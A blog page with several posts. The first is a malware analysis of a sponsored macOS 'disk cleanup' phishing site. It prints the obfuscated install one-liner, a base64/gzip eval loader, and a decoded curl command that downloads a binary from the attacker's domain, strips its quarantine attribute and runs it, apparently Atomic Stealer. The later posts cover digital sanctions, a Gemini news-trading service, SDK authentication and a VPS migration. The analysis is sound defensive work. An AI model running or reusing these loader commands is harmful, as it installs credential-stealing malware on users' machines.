P. Galeone's blog

Paying Google to Hack macOS Users?

Sun, 12 Apr 2026 01:00:00 +0000

There is a horrible trend in the software industry: installing software with curl | shell. People are encouraged to blindly execute scripts downloaded from the internet. What could go wrong?

Software, like many other fields, moves following trends. When disruptive projects such as OpenClaw tell you to install with curl -fsSL https://openclaw.ai/install.sh | bash, and even giants like NVIDIA point you to the same pattern for NemoClaw (curl -fsSL https://www.nvidia.com/nemoclaw.sh | bash), it is easy to assume that must be a good and safe way to install software. Of course, anyone who has used macOS or Linux for a while knows how risky it is. Still, this way of installing software is a (not so) new trend, and more and more people are installing software this way - that’s a perfect attack vector.

Cleaning up space on macOS

A few days ago I was using Colima to run Linux containers on macOS. After a while my disk hit about 99% usage and the OS started warning that I was running out of space. My first thought was to install dua-cli to find the heaviest folders and delete unused files¹. However, I decided to search for an alternative “the Windows way” - i.e. I googled “how to clean up space on macos”. And the journey started…

The sponsored result and all the first results were aliases of macdiskclean.squarespace.com - a site that is now expired. This looks like a time-boxed campaign: pick a high-intent query, stand up a dedicated site, and pay to show up in sponsored results. That pattern has a name: malvertising. It is not obvious why it passes ad review while Google allows that.

However, the website looked like a standard Apple-like website - clearly designed for phishing.

In this case the installation pattern even obfuscates the URL - but since the trend is already in place, for sure some people executed that line blindly.

Doing what we are not supposed to do

The thing started to get interesting, so I obviously did what I wasn’t supposed to do - execute it (on a Linux container, step by step).

echo 'muulrd..oc2e9fscaf8:.f5c7.3vo0tovvstb643hhp314p9pt696p0o96of1sotp6svyb1bbyf3hos0o6t/039ttv'|tr 'a./p16th40y3dsvfo9bm7:8lcru5e2' './0123456789:abcdefhlmoprstuvy'

This is a poor way of hiding a URL, tr transliterates that string into https://dryvecar.com/curl/9bd74dbba4f3695519261e143e317de3dc2ad413ab8f2ff8c95da7d34079e44b.

Before downloading it with curl I tried to just visit the URL using a browser: 404.

However, when I curl it I got a 200, and this content:

#!/bin/zsh
iixsod=$(base64 -D <<'PAYLOAD_END' | gunzip
H4sIAFLdx2kC/13LPQqAMAXaA4d1TRIQuohncvE1NAxX6RxpFPb206vg+eF2Ly5rwqr6hTQIMGVBjQc+hsIBXLXVGdHLuTFZGyhEpsE0sE27FWWUwBg6rKjDQZ36cfMwO+uPvr2xuJYuWzIMAAAA=
PAYLOAD_END
)
eval "$iixsod"

That is worth remembering: it is easy to tell whether a request comes from curl or from a browser. The attacker can serve a harmless page for inspection in the browser but ship a different payload when the same URL is fetched with curl.

Once again, this is another obfuscated code with some base64 encoded value to decode and unzip. Let’s do it (not running the eval… yet).

#!/bin/zsh

curl -o /tmp/helper https://dryvecar.com/cleaner3/update && xattr -c /tmp/helper && chmod +x /tmp/helper && /tmp/helper

Nice - it wants me to download and execute a binary. Let’s just download it and analyze it a little bit.

file /tmp/helper
/tmp/helper: Mach-O universal binary with 2 architectures: [x86_64-Mach-O 64-bit x86_64 executable, flags:<NOUNDEFS|DYLDLINK|TWOLEVEL|PIE>]

As expected, we downloaded a macOS binary that runs on both x86_64 and arm64 - so it targets recent Apple silicon and Intel Macs.

What’s inside?

I used Gemini 3.1 Pro to analyze the binary and understand what it does. After a few sessions of disassembly with llvm-objdump -d and radare2, we still knew relatively little beyond the following:

Self-Daemonization / Forking: The fork and waitpid sys-calls are used to clone the process and manage child processes cleanly. This enables the malware to run a background thread or process without crashing the host application.
Reverse Shell / Dropper Setup: The payload executes system binaries utilizing execl and execvp. It pairs these with pipe and dup2 to bind the input/output/error streams of the executed shell (like /bin/sh) to an external medium.
Execution Delay: usleep is utilized to evade sandboxes that only execute for a few seconds or to pace regular C2 beaconing.
Obfuscation: Standard malware signatures like plaintext IPs or standard http:// URLs are not present. Instead, it statically compiles an obfuscated buffer and key (the obfuscated endpoint is likely to be vvdl8YqLM/Z31UgK/t7vPXOdQ2SEXJs71jbgoTtO5aJpnlUAMEJS=5xx0aFbh9dL5203Vvfay2T3kS however no simple deciphering attempt has been able to extract a valid URL from it).

Static analysis and tooling pointed to Atomic Stealer. A malware that targets passwords, crypto wallets, browser data, keychain material, and documents on macOS. (Identification here is by behavior and public reporting, not a single definitive signature.)

So what?

It is interesting - and worrying - that sponsored results can point users at phishing pages that push obfuscated install commands. The widespread habit of installing tools with curl | sh turns those pages into a strong attack surface. Even “reading the script first” is not enough when the server returns a harmless page to a browser but a different payload to curl, as in the 404 vs 200 behavior here.

Takeaways: treat sponsored links like untrusted email links; prefer official vendor or package-manager installs for disk utilities; never pipe remote scripts straight into a shell unless you fully trust the origin and the transport; assume Mach-O binaries from unknown URLs are malicious until proven otherwise.

Fun fact: even dua-cli’s README suggests installing with curl | sh 😭. ↩

Digital Excommunication

Tue, 27 Jan 2026 08:00:00 +0000

I was listening to a Radio24 program¹ and the topic immediately struck me. The episode is titled “La scomunica digitale”² (Italian for Digital Excommunication). In that episode, the radio host introduced the case of Nicolas Guillou³, a French ICC judge sanctioned by the Trump administration. This sanction is a ban from US territory, but it also prohibits any American individual or legal entity (including their subsidiaries everywhere in the world) from providing services to him.

The radio host, together with his guest Paolo Benanti⁴, drew a clever comparison between the excommunication of Spinoza (1656) and what is happening to Guillou right now. In fact, a ban from receiving services provided by American companies acts much like an excommunication in today’s world.

The excommunication of Spinoza

Spinoza was a Dutch philosopher who was excommunicated by the Portuguese-Jewish community leaders in 1656. The reason for the excommunication was his views on the nature of God and the universe, which were seen as heretical at the time. The excommunication he received was of the most stringent level: a herem⁵.

A herem has an indefinite duration and entails total social and religious ostracism. Any member of the Jewish community is strictly forbidden from having any kind of interaction with the excommunicated person. This, of course, also means that any business interaction with the excommunicated person is forbidden.

The US sanction

The US Department of State sanctioned Guillou in 2025 because of his role in the pre-trial panel that approved arrest warrants for the Israeli Prime Minister Binyamin Netanyahu.⁷ The Office of Foreign Assets Control (OFAC) of the Department of the Treasury can financially enforce the sanction, resulting in the economic banishment of the person. Every US company is required to:

Asset Freeze: Freeze any assets held by the person in the US or by any US company. This includes bank accounts, property, company shares, stocks, bonds, and any other financial assets.
Service Ban: All US persons and companies (and their subsidiaries) are forbidden from providing any service to the person. This includes tech giants like Alphabet, Meta, Amazon, and Microsoft, as well as payment networks like Mastercard and Visa.

The similarity

The similarity between the two cases is that both are a form of ostracism. In the case of Spinoza, the ostracism was social and religious, while in the case of Guillou, the ostracism becomes digital.

By preventing any interaction with the excommunicated person, the community leaders of the Portuguese-Jewish community were able to enforce the excommunication. In the case of Guillou, the service ban acts in the very same way. In fact, US tech companies and payment networks are ubiquitous throughout the Western world.

Being banned from them means being unable to have a credit card, maintain a bank account, or pay through any major payment network. Without a Google, Facebook, X, or Apple account, you cannot use a smartphone, as Android and iOS require these accounts to function. You cannot use the most common instant messaging applications, as most are US-based. You cannot book holidays or hotels, as most booking websites are, once again, US-based. In practice, you immediately lose access to the modern web.

All the data stored in the cloud provided by these tech giants is now frozen and inaccessible. You cannot express your opinion on social media or chat with your friends.

In practice, you are cut off from the world. We can clearly see that this sanction resonates as a digital excommunication.

The technological dilemma

The internet allowed us to create an interconnected world and improved the way companies operate and exchange information globally. However, certain dependencies stand out when looking at the case of Guillou. A “simple” ban from US tech companies and payment networks is enough to cut off a person from the world.

In a more moderate way, we experienced a lite version of digital excommunication when critical parts of the internet suffered outages. Consider the two recent Cloudflare outages on November 18th⁸ and December 5th⁹ (2025), or the massive AWS outage in October 2025¹⁰. During those times, people were unable to work, chat, or access their data.

The dilemma is clear: we need a globally interconnected world, but one that is resilient to outages, attacks, censorship, and bans.

From a European perspective, it is clear that we depend too much on US companies, which poses both political and technological problems.

Politically, it is evident. What happened to Guillou is a clear example of how depending on US companies for almost everything is a problem. It shows how a foreign power can use its control over tech infrastructure to target even individuals working for international bodies like the ICC. A foreign country being able to excommunicate a person from the world while they are living in a European state is unacceptable.

Technologically, it is also a problem. Every sysadmin knows that a single point of failure is a major flaw in system design. The same applies to the internet.

The need for a European alternative

The need for European alternatives to US tech companies is clear. This won’t happen overnight, but it is something that we, as Europeans, need to work on.

Creating European cloud services, payment networks, and internet infrastructure is not only a political decision but also a technological one. It would allow Europeans more control over their data and reduce dependency on the arbitrary decisions of foreign governments, as seen in the Guillou case.

It is up to the European Union to provide funding, define a long-term strategy (which currently seems short-sighted), and provide the necessary infrastructure to support European alternatives.

What can an individual do? An individual can start by using European services. There are already some services available, but they are not as ubiquitous as the US ones. Individuals can also support European startups and companies, spreading the word about the need for European alternatives.

On a technical note, I demonstrated how to migrate from Google Cloud to an EU-based solution (OVH) in this article. It is better than nothing, but it is not a solution for everyone.

A final thought

Spinoza was excommunicated in 1656 and was able to live a full life despite the ban. After all, the excommunication was limited to the Jewish community, and he was able to move to nearby villages to simply continue living his life.

In 2026, being digitally excommunicated is a very different story. It is a form of ostracism that cuts you off from the modern world—a ban that prevents you from accessing almost every essential service and application that powers our daily lives. Since it transcends any physical border, a US sanction is de facto the modern global equivalent of the herem.

Resources

Gemini-Powered Stock Analysis: Parsing Financial News for Automated Trading Decisions

Mon, 20 Oct 2025 02:00:00 +0000

Over the past weeks I built a small Go service that reads Italian finance RSS feeds, extracts the article body, and asks Gemini for a buy/sell/hold view for the tickers it finds. Below I show the pieces that make it work and the trade‑offs I hit along the way.

This runs inside a broader trading setup that talks to a broker API. I’m working on software to automate trading on a well‑known Italian broker; if you’re interested, please leave a comment below or get in touch via the contact form.

The Challenge: Processing Italian Financial News at Scale

Financial news moves markets, but manually processing hundreds of articles daily is impractical for algorithmic trading. The challenge becomes even more complex when dealing with Italian financial news sources, which often use specific terminology and reference stocks with various ticker formats (e.g., “STLAM” for Stellantis, “LDO.MI” for Leonardo).

My solution needed to:

Parse multiple RSS feeds from Italian financial sources
Extract full article content from various HTML formats
Analyze articles using AI to identify mentioned stocks and trading signals
Route recommendations to appropriate trading strategies
Handle multilingual content (Italian and English)

Architecture Overview

The system consists of several key components working together:

// Core components of the news analysis system
type Stream struct {
    feeds             []string
    client            *http.Client
    newsChan          chan *NewsItem
    stopChan          chan struct{}
    fetchedItems      map[string]bool
    vertexAiModelName string
    analysisEnabled   bool
    genaiClient       *genai.Client
}

type AIAnalysisService struct {
    engine    *engine.Engine
    longChan  chan *AIRecommendation
    shortChan chan *AIRecommendation
    stopChan  chan struct{}
}

The architecture follows a producer-consumer pattern where the news stream fetches and analyzes articles, while the AI analysis service routes recommendations to trading strategies.

Italian News Sources and Content Extraction

The system monitors several Italian financial news sources:

func NewStream() *Stream {
    // Initialize NewsStream with default RSS feeds
    defaultNewsFeeds := []string{
        "https://news.teleborsa.it/NewsFeed.ashx",
        "https://investire.biz/feed/analisi/azioni",
    }
    // ... initialization code
}

Handling Different HTML Formats

One of the most challenging aspects was extracting clean article content from different Italian news websites. Each source has its own HTML structure:

// ExtractArticleFromHTML supports both Teleborsa and Investire.biz formats
func ExtractArticleFromHTML(htmlContent string) string {
    // First, try to extract from Investire.biz format
    if content := extractInvestireBizArticle(htmlContent); content != "" {
        return content
    }

    // If not found, try Teleborsa format
    if content := extractTeleborsaArticle(htmlContent); content != "" {
        return content
    }

    return ""
}

func extractTeleborsaArticle(htmlContent string) string {
    // Find the start of the article content
    startMarker := "(Teleborsa) - "
    startIndex := strings.Index(htmlContent, startMarker)
    if startIndex == -1 {
        return ""
    }

    // Extract and clean the content
    articleHTML := htmlContent[startIndex:endIndex]
    cleanText := RemoveHTMLTags(articleHTML)
    cleanText = html.UnescapeString(cleanText)
    cleanText = NormalizeWhitespace(cleanText)

    return cleanText
}

The extraction process handles the specific formatting patterns used by Italian financial news sites. For example, Teleborsa articles always start with “(Teleborsa) - “ followed by the actual content, while Investire.biz uses a specific <div id="articleText"> container.

Note on robustness: parsing articles by matching specific HTML patterns is inherently brittle—publishers can change their markup at any time, breaking custom extractors. An alternative is to feed the entire page HTML to the LLM and let it identify the relevant content. That approach is often robust but more expensive in tokens due to boilerplate HTML. Extracting the article body upfront helps reduce token usage by avoiding irrelevant markup while accepting the maintenance cost if page structures change.

Gemini Integration for Stock Analysis

The heart of the system is the Gemini-powered analysis that processes the extracted article content and generates trading recommendations.

Authentication and client setup are covered in a separate article: From Vertex AI SDK to Google Gen AI SDK: Service Account Authentication for Python and Go.

The Analysis Prompt

The key to effective AI-powered stock analysis lies in crafting a precise prompt that handles the multilingual nature of Italian financial news:

func (s *Stream) analyzeArticleWithGemini(articleText string) (*NewsAnalysis, error) {
    prompt := fmt.Sprintf(`Analyze the following news article and provide a JSON response with an array of stock analyses.
The article can be in Italian or English..
For each stock mentioned, include the ticker symbol (e.g., for "Stellantis" it should be "STLAM"), a suggested action (buy, sell, or hold), and a brief reason for the suggestion in English.
It's not mandatory to include all the stocks mentioned in the article, only the ones that are relevant to the article.
If there are no stocks mentioned in the article, return an empty array.
The suggested action should be based on the article content and the stock's performance. The suggested action will be used for day trading.

Article:
%s

IMPORTANT: 
- Your response must contain ONLY valid JSON, no explanatory text before or after
- Do not include any markdown formatting or code blocks
- Return exactly this JSON structure and nothing else:

{
  "items": [
    {
      "ticker": "STOCK_TICKER",
      "action": "buy|sell|hold", 
      "reason": "Brief explanation in English."
    }
  ]
}`, articleText)

    config := &genai.GenerateContentConfig{
        Temperature: genai.Ptr[float32](0.1),
    }

    ctx, cancel := context.WithTimeout(context.Background(), 30*time.Second)
    defer cancel()

    resp, err := s.genaiClient.Models.GenerateContent(ctx, s.vertexAiModelName, genai.Text(prompt), config)
    // ... error handling and JSON parsing
}

The prompt is carefully designed to:

Handle both Italian and English content
Request specific ticker formats used in Italian markets
Provide structured JSON output for easy parsing
Focus on actionable trading recommendations

Real-World Example: Analyzing Italian Financial News

Let’s look at how the system processes a typical Italian financial news article:

// Sample Italian article from Teleborsa
articleText := `(Teleborsa) - Seduta in ribasso per Stellantis, che mostra un calo dell'1,26%. A pesare sulle azioni è la notizia di un richiamo di oltre un milione di veicoli negli Stati Uniti per un difetto alla telecamera posteriore. Brilla invece Leonardo, che avanza del 2,5% grazie a nuove commesse nel settore della difesa.`

When processed by Gemini, this article generates the following analysis:

{
  "items": [
    {
      "ticker": "STLAM",
      "action": "sell",
      "reason": "Stock declining 1.26% due to recall of over 1 million vehicles in US for rear camera defect."
    },
    {
      "ticker": "LDO.MI",
      "action": "buy", 
      "reason": "Stock rising 2.5% on new defense sector contracts."
    }
  ]
}

Routing Recommendations to Trading Strategies

Once Gemini analyzes the articles, the system routes recommendations to appropriate trading channels:

func (s *AIAnalysisService) Start() error {
    go func() {
        for {
            select {
            case newsItem := <-newsChan:
                if newsItem.Analysis == nil || len(newsItem.Analysis.Items) == 0 {
                    continue
                }

                for _, analysis := range newsItem.Analysis.Items {
                    // Generate ticker variations for different markets
                    allTickers := []string{analysis.Ticker}
                    
                    // Handle Italian stocks (.MI suffix)
                    if strings.Contains(analysis.Ticker, ".MI") {
                        miRemovedTicker := strings.Replace(analysis.Ticker, ".MI", "", 1)
                        allTickers = append(allTickers, miRemovedTicker)
                    }

                    // Lookup actual tradeable instruments
                    titles, err := s.engine.ListTitles(allTickers)
                    if err != nil {
                        continue
                    }

                    // Route to appropriate channels
                    for _, titleList := range titles {
                        for _, title := range titleList {
                            recommendation := &AIRecommendation{
                                Title:    title,
                                Analysis: analysis,
                                Source:   newsItem.Source,
                            }

                            switch analysis.Action {
                            case news.BuyAction:
                                s.longChan <- recommendation
                            case news.SellAction:
                                s.shortChan <- recommendation
                            }
                        }
                    }
                }
            }
        }
    }()
}

The system intelligently handles ticker symbol variations common in Italian markets, where stocks might be referenced as “STLAM”, “STLA.MI”, or other formats depending on the exchange.

Performance and Reliability Considerations

Concurrent Processing

The system uses Go’s concurrency features to handle multiple news sources simultaneously:

func (s *Stream) Start() {
    s.wg.Add(1)
    go func() {
        defer s.wg.Done()
        ticker := time.NewTicker(s.fetchInterval)
        defer ticker.Stop()

        for {
            select {
            case <-ticker.C:
                for _, feed := range s.feeds {
                    go s.fetchFeedWithRetry(feed)
                }
            case <-s.stopChan:
                return
            }
        }
    }()
}

Error Handling and Retries

Given the critical nature of financial data, the system implements robust retry mechanisms:

func (s *Stream) fetchFeedWithRetry(feedURL string) error {
    var lastErr error
    delay := s.retryConfig.InitialDelay

    for attempt := 0; attempt <= s.retryConfig.MaxRetries; attempt++ {
        if attempt > 0 {
            time.Sleep(delay)
            delay = time.Duration(float64(delay) * s.retryConfig.BackoffFactor)
            if delay > s.retryConfig.MaxDelay {
                delay = s.retryConfig.MaxDelay
            }
        }

        if err := s.fetchFeed(feedURL); err != nil {
            lastErr = err
            continue
        }
        return nil
    }
    
    return fmt.Errorf("failed to fetch feed after %d attempts: %w", 
        s.retryConfig.MaxRetries+1, lastErr)
}

Lessons Learned and Challenges

Prompt Engineering for Financial Analysis

Crafting effective prompts for financial analysis required several iterations. Key learnings:

Be explicit about output format: Gemini can be verbose, so explicitly requesting JSON-only responses is crucial
Handle multilingual content: Italian financial news often mixes Italian and English terms
Specify ticker formats: Different markets use different conventions (STLAM vs STLA.MI vs STLA)
Set appropriate temperature: Low temperature (0.1) provides more consistent, factual analysis

Managing API Costs

Vertex AI costs can add up quickly with frequent news analysis. Optimization strategies:

Content filtering: Only analyze articles that pass initial relevance filters
Batch processing: Aggregate similar articles when possible
Caching: Avoid re-analyzing identical content
Timeout management: Set reasonable timeouts to prevent hanging requests

Integration with Trading Strategies

The AI analysis service integrates seamlessly with various trading strategies:

// Example: Trend following strategy with AI recommendations
longStocks, err := stockSelector.SelectStocksLong(strategy.SelectFromAll)
if err != nil {
    log.Error("Error starting SelectStocks: %s", err)
    return
}

// Process AI recommendations
go func() {
    for recommendation := range aiService.GetLongChannel() {
        // Create trend following strategy for recommended stock
        trendStrategy := strategy.NewTrendFollowing(
            tradingEngine, 
            recommendation.Title,
            strategy.LongDirection,
        )
        
        if err := trendStrategy.Start(); err != nil {
            log.Error("Failed to start trend strategy: %s", err)
            continue
        }
        
        log.Info("Started AI-recommended long strategy for %s: %s", 
            recommendation.Title.GetPriceCode(), 
            recommendation.Analysis.Reason)
    }
}()

Future Enhancements

Several improvements are planned for the system:

Sentiment scoring: Add numerical sentiment scores alongside buy/sell/hold recommendations
Multi-model analysis: Compare recommendations from different AI models
Historical backtesting: Evaluate AI recommendation accuracy over time
Real-time alerts: Push critical news analysis to mobile devices
Portfolio integration: Consider existing positions when generating recommendations

Conclusion

Key takeaways:

Extract only the article body to save tokens, but expect HTML to change.
Keep the prompt strict (JSON-only, low temperature).
Normalize tickers for local markets before routing to strategies.
Concurrency and retries matter more than clever code.

I’ll keep hardening the extractors and add backtesting and alerts. If you want to try it, share feedback, or chat about the broker integration, leave a comment or reach out via the contact form.

From Vertex AI SDK to Google Gen AI SDK: Service Account Authentication for Python and Go

Sun, 29 Jun 2025 08:00:00 +0000

On June 25th, 2025, Google sent an important announcement to all Vertex AI users: the Google Gen AI SDK has become the new preferred method for accessing generative models on Vertex AI. While Google provided a Vertex AI SDK migration guide to help with the transition, there’s a critical gap in the documentation—it doesn’t adequately cover authentication using service accounts, which many production applications rely on.

The Migration Guide Gap

Google’s announcement included a helpful comparison table showing the SDK replacements for different programming languages. This article focuses on the two most commonly used languages in cloud applications: Python and Go.

Language	Vertex AI SDKs	Replacement Google Gen AI SDKs
Python	google-cloud-aiplatform	google-genai
Go	cloud.google.com/go/vertexai/genai	google.golang.org/genai

The official migration guide uses a straightforward before-and-after approach, showing you exactly how to update your existing code. However, there’s a significant limitation: it primarily focuses on Application Default Credentials (ADC).

Here’s where many developers get stuck: If your application uses a JSON Service Account for authentication—a common pattern in production environments—the official guide leaves you without clear direction. Following the migration steps blindly will result in authentication failures that can be frustrating to debug.

The following sections provide the missing pieces to successfully migrate your service account-based authentication in both Python and Go.

Python

For Python applications, migrating service account authentication requires creating a Credentials object using the google.oauth2.service_account package. The key insight here is that OAuth2 scopes are critical—without the correct scopes, Google’s servers will reject your requests with authentication errors.

    from google import genai
    from google.genai import types
    from google.oauth2.service_account import Credentials

    # Define the OAuth2 scopes required for accessing Google Cloud Platform
    scopes = [
        "https://www.googleapis.com/auth/cloud-platform",
    ]
    
    # Create credentials from the service account JSON file with the required scopes
    credentials = Credentials.from_service_account_file(
        os.getenv("SERVICE_ACCOUNT_FILE_PATH"), scopes=scopes
    )
    
    # Create the Gen AI Client specifying the location by env var
    # and use the project ID from environment variables
    client = genai.Client(
        vertexai=True,
        project=os.getenv("GCLOUD_PROJECT_ID"),
        location=os.getenv("GCLOUD_LOCATION"),
        credentials=credentials,
    )

This approach leverages Python’s convenient from_service_account_file() method, which automatically handles the JSON parsing and credential creation. The environment variables (SERVICE_ACCOUNT_FILE_PATH, GCLOUD_PROJECT_ID, GCLOUD_LOCATION) should point to your service account JSON file path, Google Cloud project ID, and preferred region respectively.

Go

Go requires a more hands-on approach since there’s no equivalent to Python’s convenient from_service_account_file() function. Instead, we need to manually parse the service account JSON and construct a credential object with its own OAuth2 token provider.

import (
    "fmt"
    "json"
    "os"

    "cloud.google.com/go/auth"
    "google.golang.org/genai"
)

// ...

// Get the service account content
key, err := os.ReadFile(os.getenv("SERVICE_ACCOUNT_FILE_PATH"))
if err != nil {
    return fmt.Errorf("failed to read service account key: %s", err)
    
}

var serviceAccount struct {
    ClientEmail string `json:"client_email"`
    PrivateKey  string `json:"private_key"`
    TokenURI    string `json:"token_uri"`
    ProjectID   string `json:"project_id"`
}
if err := json.Unmarshal(key, &serviceAccount); err != nil {
    return fmt.Errorf("invalid service-account JSON: %s", err)
}

// Create the 2-legged OAuth token provider
tp, err := auth.New2LOTokenProvider(&auth.Options2LO{
    Email:      serviceAccount.ClientEmail,
    PrivateKey: []byte(serviceAccount.PrivateKey),
    TokenURL:   serviceAccount.TokenURI,
    Scopes:     []string{"https://www.googleapis.com/auth/cloud-platform"},
})
if err != nil {
    return fmt.Errorf("failed to create 2LO token provider: %s", err)
}

// Create the credentials using the token provider
credentials := auth.NewCredentials(&auth.CredentialsOptions{
    TokenProvider: tp,
    JSON:          key,
})

// Create the Gen AI Client specifying the location by env var
// and use the project ID specified in the service account
ctx := context.Background()
genaiClient, err := genai.NewClient(ctx, &genai.ClientConfig{
    Project:     serviceAccount.ProjectID,
    Location:    os.getenv("GCLOUD_LOCATION"),
    Backend:     genai.BackendVertexAI,
    Credentials: credentials,
})
if err != nil {
    return fmt.Errorf("failed to create genai client: %s", err)
}

Understanding OAuth2 Scopes for Vertex AI

Throughout both implementations, we used the https://www.googleapis.com/auth/cloud-platform scope because it provides comprehensive access to Vertex AI endpoints and other Google Cloud services. This broad scope essentially allows our applications to perform any operation that the service account is authorized to do within the Google Cloud project.

For developers who want to understand all available scopes across Google’s APIs, the complete reference is available in the OAuth 2.0 Scopes for Google APIs documentation. However, when it comes to Vertex AI specifically, Google’s scope options are surprisingly limited:

Scope	Description
`https://www.googleapis.com/auth/cloud-platform`	Full access: See, edit, configure, and delete your Google Cloud data
`https://www.googleapis.com/auth/cloud-platform.read-only`	Read-only access: View your data across Google Cloud services

The Fine-Grained Access Problem

This binary choice between “full access” and “read-only” represents a significant limitation in Google’s OAuth2 implementation for Vertex AI. In production environments, you might want more granular permissions—for example, allowing an application to create and run inference requests while preventing it from deleting models or modifying training jobs. Unfortunately, Google doesn’t provide such fine-grained scopes for Vertex AI, forcing developers to choose between overly broad permissions or overly restrictive read-only access.

This lack of granular control is a notable pain point when implementing the principle of least privilege in cloud applications. I wasn’t expecting it from Google.

Key Takeaways

Migrating from Vertex AI SDK to Google Gen AI SDK with service account authentication requires careful attention to OAuth2 scope configuration and credential management. While the official migration guide covers the basic API changes, the authentication patterns shown here are essential for production applications that can’t rely on Application Default Credentials.

Always specify the https://www.googleapis.com/auth/cloud-platform scope for OAuth2 authentication, since it’s pretty much the only scope we have
Python developers can leverage the convenient from_service_account_file() method
Go developers need to manually construct the OAuth2 token provider but gain more control over the authentication flow

Getting back to the EU: from Google Cloud to Self-Hosted EU Infrastructure

Sat, 15 Mar 2025 08:00:00 +0000

In this article I’m going to show the process I followed to migrate some of the services I used from Google Cloud to an European provider, in this case OVH. I won’t use their cloud solution, but their VPS offering instead, in order to have full control over the infrastructure.¹

In particular, I will show how I moved out from Cloud SQL to a self hosted instance of PostgreSQL, how I moved the Cloud Run services to a more standard nginx setup, and how reached the same level of CI/CD I had with Google Cloud.

The migrated service is fitsleepinsights.app: a custom dashboard for Fitbit users, with RAG support (gemini-based) for chatting with your data and getting insights about your fitness activities and sleep data. The service is fully open source, and the code is available on GitHub.

The reasons

There are two main reasons why I decided to move the service from Google Cloud to OVH. The first one is purely economical: the costs of the Cloud SQL instance were too high. I was paying too much for the very minimal setup of the instance, which delivered very poor performance.

The second reason is political. It’s my first small step of “getting back to the EU” to reduce dependency on US companies.

The CI/CD pipeline

The CI/CD pipeline is similar to what I had with Google Cloud, but now it’s hosted on GitHub Actions. Instead of deploying to the cloud, I deploy the service on a VPS. The end result is the same: the service is deployed in seconds, but at a much lower cost. Additionally, since we are deploying a Go application that compiles to self-contained binaries, the deployment is very fast and doesn’t require any external dependencies or containerization.

For the sake of completeness, I’m going to show the Github Actions workflow for the Google Cloud and the OVH VPS.

The Google Cloud CI/CD pipeline

The Github Actions workflow is the following:

Checkout the code
Authenticate to Google Cloud Artifact Registry
Build the application inside a Docker container
Push the application to the Artifact Registry
Deploy the application to the Cloud Run service

This of course requires a cloud side configuration, with a lot of clicks, and regions limitations.

e.g. for automatize the deploy of the cloud run service under the domain fitsleepinsights.app (registered on Google Domains), I had to re-configure the cloud run service in order to be in a region compatible with the domain (see the CLOUD_RUN_REGION variable in the YAML file below).

The cloud run service itself had to be configured by specifying all the parameters related to the cold start, the environment variables, the secrets, the VPC, the service account, etc.

So, the deploy is not the YAML file you see below, but a mix of YAML and clicks on the Google Cloud Console (and a ton of trial and error). Anyway, I leave the YAML file below for the sake of completeness.

name: Build and Deploy to Cloud Run

on:
  push:
    branches: [ main ]

# The secrets have been defined inside the Github settings
# The env vars MUST be defined here to be accessible with env.VAR
env:
  GAR_LOCATION: europe-west6
  PROJECT_ID: train-and-deploy-experiment
  CLOUD_RUN_REGION: europe-west1 # must be 1 to support google domain
  REPOSITORY: fitsleep-actions-repo
  SERVICE: fitsleep-actions-cloudrun-service

jobs:
  deploy:
    permissions:
      contents: 'read'
      id-token: 'write'

    runs-on: ubuntu-latest
    steps:
      - name: Checkout
        uses: actions/checkout@v4

      - name: Google Auth
        id: auth
        uses: 'google-github-actions/auth@v2'
        with:
          token_format: 'access_token'
          workload_identity_provider: '${{ secrets.WIF_PROVIDER }}'
          service_account: '${{ secrets.WIF_SERVICE_ACCOUNT }}'

      - name: Docker Auth
        id: docker-auth
        uses: 'docker/login-action@v3'
        with:
          username: 'oauth2accesstoken'
          password: '${{ steps.auth.outputs.access_token }}'
          registry: '${{ env.GAR_LOCATION }}-docker.pkg.dev'
          
      - name: Build and Push Container
        run: |-
          docker build -t "${{ env.GAR_LOCATION }}-docker.pkg.dev/${{ env.PROJECT_ID }}/${{ env.REPOSITORY }}/${{ env.SERVICE }}:${{ github.sha }}" ./
          docker push "${{ env.GAR_LOCATION }}-docker.pkg.dev/${{ env.PROJECT_ID }}/${{ env.REPOSITORY }}/${{ env.SERVICE }}:${{ github.sha }}"

      - name: Deploy to Cloud Run
        id: deploy
        uses: google-github-actions/deploy-cloudrun@v2
        with:
          service: ${{ env.SERVICE }}
          region: ${{ env.CLOUD_RUN_REGION }}
          image: ${{ env.GAR_LOCATION }}-docker.pkg.dev/${{ env.PROJECT_ID }}/${{ env.REPOSITORY }}/${{ env.SERVICE }}:${{ github.sha }}

      - name: Show Output
        run: echo ${{ steps.deploy.outputs.url }}

The OVH VPS CI/CD pipeline

Unlike cloud services where configuration is done through web interfaces with many clicks, the OVH VPS CI/CD pipeline requires some traditional Linux system administration.

The prerequisites

The prerequisite steps to run on the VPS are straightforward:

Install Go
Install PostgreSQL
Install nginx
Install Certbot (Optional, right now I’m still using Cloudflare for automatic HTTPS certificates)

May seem a lot, but in the end it’s just a single command (sudo apt install postgresql nginx certbot), and the configuration of the services at startup. Literally, 5 minutes.

Since this is a service migration, we need to migrate the database as well. Cloud SQL is a managed PostgreSQL instance, so we need to migrate it to a self hosted PostgreSQL instance. Luckily, the migration is very simple, because PostgreSQL is exceptional.

On Cloud SQL we can export the database with a click. Under the hood, it’s a simple pg_dump of the database. Once downloaded, the dump can be imported on a self hosted PostgreSQL instance.

# Follow the instructions in the README to create the user and the database and install pgvector
# after that, import the dump
psql -U $fitsleepinsights -d $fitsleepinsights < fitsleepinsights-dump.sql

After that, we need to create a systemd service that runs the application. I want this to run in the home directory of a non-root user, so I created the following service file (also available in the repository at fitsleepinsights@.service:

# /usr/lib/systemd/system/fitsleepinsights@.service
[Unit]
Description=fitsleepinsights.app
After=postgresql.service

[Service]
Restart=always
Type=simple
User=%I
WorkingDirectory=/home/%I/fitsleepinsights/
ExecStart=/home/%I/go/bin/fitsleepinsights

[Install]
WantedBy=multi-user.target

The %I is the username of the user that will run the service. We suppose that the user exists and has access to the fitsleepinsights directory. The directory is going to be created by the Github Actions workflow (if it doesn’t exist), and the user will own it.

To be able to start and stop the service we need to call systemctl start fitsleepinsights@$USER.service and systemctl stop fitsleepinsights@$USER.service (this is going to be done by the Github Actions workflow).

To make it work, we need to invoke the commands with sudo without being asked for the password. To do that, we need to customize the sudoers file for the user.

# /etc/sudoers.d/$USER
%$USER ALL=(ALL) NOPASSWD:/usr/bin/systemctl start fitsleepinsights@*
%$USER ALL=(ALL) NOPASSWD:/usr/bin/systemctl stop fitsleepinsights@*

To deploy the service from Github actions, we need to create a ssh key and add it to the VPS.

ssh-keygen -t ed25519 -C "fitsleepinsights.app" -f ~/.ssh/id_ed25519 -N ""
cat ~/.ssh/id_ed25519.pub >> ~/.ssh/authorized_keys

